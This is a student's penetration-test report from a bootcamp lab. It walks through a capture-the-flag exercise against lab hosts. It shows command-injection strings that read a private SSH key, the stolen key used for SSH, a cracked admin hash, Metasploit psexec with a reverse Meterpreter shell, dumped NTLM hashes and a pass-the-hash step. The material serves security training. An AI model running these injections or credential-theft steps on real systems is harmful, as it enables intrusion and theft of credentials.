Penetration Testing Report

Cybersecurity Analytics Bootcamp

# Engagement Contacts

[Replace this text with the names of your team members.]

# Executive Summary

## Objective

As requested by the Company, a pen test was requested to ensure that the security posture of the web server is fully secured by using any means to get into the system.

While insuring there would be no zero-day exploitation.

## Tools Used

* Nmap
* SQL Injection from the website
* SSH
* Text Editor
* Third Party hash database
  + <https://10015.io/tools/md5-encrypt-decrypt>
* Metasploit
  + Psexec
  + Meterpreter
    - Hashdump
    - Shell

# Penetration Test Findings

## Summary

| **Finding #** | **Severity** | **Finding Name** |
| --- | --- | --- |
| 1 | Severity | Easy to find files |
| 2 | Severity | No password protection on files |
| 3 | Severity | No Domain |
| 4 | Severity | The Password was easy to decrypt using the third party database |

## Detailed Walkthrough

Challenge 1

1. Use Nmap to run a basic scan on the subnet your Kali machine is connected to. You should find four hosts in your results, not including your own Kali machine.

Ip addr

Nmap 172.31.58.108/20

A screenshot of a computer program

Description automatically generated

1. Next, run service and version detection scans on the specific IP addresses found in your first scan. Scan for services beginning at port 1 and ending at port 5000.

nmap -sV -p 1-5000 172.31.58.108/20

A computer screen shot of a program

Description automatically generated

1. Interpret your results and determine the following:
   * Which host is running a web server on a non-standard port? What port is it running on?  172.31.55.221 Port 1013
   * Which host is running an SSH server on a non-standard port? What port is it running on?  172.31.55.242 Port 2222
   * Which machines are running Windows-based operating systems?

172.31.54.247 + 172.31.59.127

Challenge 2

1. Access the site hosted on the webserver you found in the previous step.
   * Hint: How do you access a website on a custom port number?

172.31.55.221:1013

A screenshot of a computer

Description automatically generated

1. Explore the web pages available to you. What would be a good place to attempt some attacks?
   * Hint: Your first goal should be to test anything that handles user input.

IP FINDER = SQL INJECTION

A screenshot of a computer

Description automatically generated

1. Demonstrate you can run commands on the target system by running the whoami command.

8.8.8.8 && whoami

www-data

Challenge 3

1. Search the webserver for SSH keys you can copy.
   * Hint: Where do each users' SSH keys tend to live?

8.8.8.8 && cd /home/ && ls -la && cd www-data && ls -la && cd .ssh && ls -la && cat id\_rsa.pem

A screenshot of a computer

Description automatically generated

1. Once you've found a key to test, copy it to your Kali machine.

Copied the private key as a text editor and placed it on your desktop.

1. Use the key to connect from your Kali machine to the other Linux server you found earlier, using the non-standard port number revealed in your scans.

Username: alice-devops

Using another key

Sudo ssh -i ~/Desktop/Private\_key2 -p 2222 alice-devops@172.31.55.242

A screenshot of a computer screen

Description automatically generated

* + Hint: You will need to know which username to try and connect with. Which user did the stolen key originally belong to?
  + Note: Some SSH clients will refuse to use a key with file permissions that are too open. You will need to ensure ONLY the key file owner has read, write, or execute permissions.

### **Challenge 4: System Reconnaissance**

With SSH access to the second Linux machine, our new goal is to find our way into the remaining Windows hosts.

1. Inexperienced or negligent developers and administrators frequently keep bad password management practices. Search for text files and scripts that might contain sensitive data, like passwords, keys, or hashes.
   * Hint: With user-level access, it is a good idea to start by looking into that user's own files before expanding outward.

Cat windows-maintenance.sh

A screenshot of a computer

Description automatically generated

1. Find the hash that appears to be associated with an Administrator account on a Windows machine.

username="Administrator"

password\_hash="00bfc8c729f5d4d529a412b12c58ddd2"

### **Challenge 5: Password Cracking**

With a password hash in our hands, we need to crack it to discover the actual password.

1. With any means you prefer, crack the MD5 hash you found to reveal the original password.
   * You can crack the hash using existing tools installed in Kali. (Remember the available wordlists in /usr/share/wordlists!)
   * You could write a Python script to crack it using the same wordlists as other tools.
   * You can check third-party hash databases to see if it is a known hash.

https://10015.io/tools/md5-encrypt-decrypt

I also ran the script ./windows-maintenance.sh

And pokemon is correct

pokemon

### **Challenge 6: Metasploit**

Now that we have a username and password, we need to use them to gain access to one of the Windows targets. Connecting using "legitimate" means like Remote Desktop Protocol (RDP) could be possible, but a Meterpreter shell can give us more user-friendly options to achieve our goals.

1. Start up the Metasploit framework on Kali, and load the windows/smb/psexec exploit module.
   * Note: This module is a common exploit for gaining access to Windows machines with stolen credentials.

Searched and used windows/smb/psexec

Use 0

1. Configure the module's options to set the username and password you found previously. You will not need to specify a domain.

A screenshot of a computer program

Description automatically generated

1. Set the RHOSTS target to one of the Windows IPs you found with Nmap earlier.
   * Note: These credentials will only work on one of the two Windows machines. If the exploit fails, set the other IP address as the target and try again.

A screenshot of a computer code

Description automatically generated

1. Set the payload to windows/x64/meterpreter/reverse\_tcp and confirm its options automatically configure properly.



1. Run the exploit. If everything works, you will be dropped into a Meterpreter shell on the target system. If not, test it against the other Windows target. If neither exploit works, double-check your options (check for typos in IP addresses, usernames, passwords, etc.)

A screenshot of a computer program

Description automatically generated

### **Challenge 7: Passing the Hash**

With one Windows machine down and one left to go, we can try a Pass The Hash attack.

1. From your established Meterpreter session, perform a hash dump and save the results.

A black background with numbers

Description automatically generated with medium confidence

Administrator:500:aad3b435b51404eeaad3b435b51404ee:aa0969ce61a2e254b7fb2a44e1d5ae7a:::

Administrator2:1009:aad3b435b51404eeaad3b435b51404ee:e1342bfae5fb061c12a02caf21d3b5ab:::

DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

fstack:1008:aad3b435b51404eeaad3b435b51404ee:0cc79cd5401055d4732c9ac4c8e0cfed:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

1. Exit (or background) your Meterpreter session to get back into the main Metasploit console.

A screenshot of a computer

Description automatically generated

1. Using the same exploit and payload modules, set your RHOSTS target to the remaining Windows server IP.

Set RHOSTS 172.31.59.127

A computer screen shot of text

Description automatically generated

1. Test each username and hash combination you found on the first Windows server until you gain a Meterpreter on the final server.

Set SMBUser Administrator2

Set SMBPass aad3b435b51404eeaad3b435b51404ee:e1342bfae5fb061c12a02caf21d3b5ab

Challenge 8: Finding Sensitive Files

With access gained on the final target server, the last step is to grab the flag and claim victory.

Using your Meterpreter shell, search the target server for a file named secrets.txt .

Shell

Dir “\secrets.txt\*” /s

CD:\Windows\debug\secrets.txt

A computer screen shot of white text

Description automatically generated

Read the contents of the file, and include them in your report.

Type secrets.txt

Congratulations! You have finished the red team course!

A black background with white text

Description automatically generated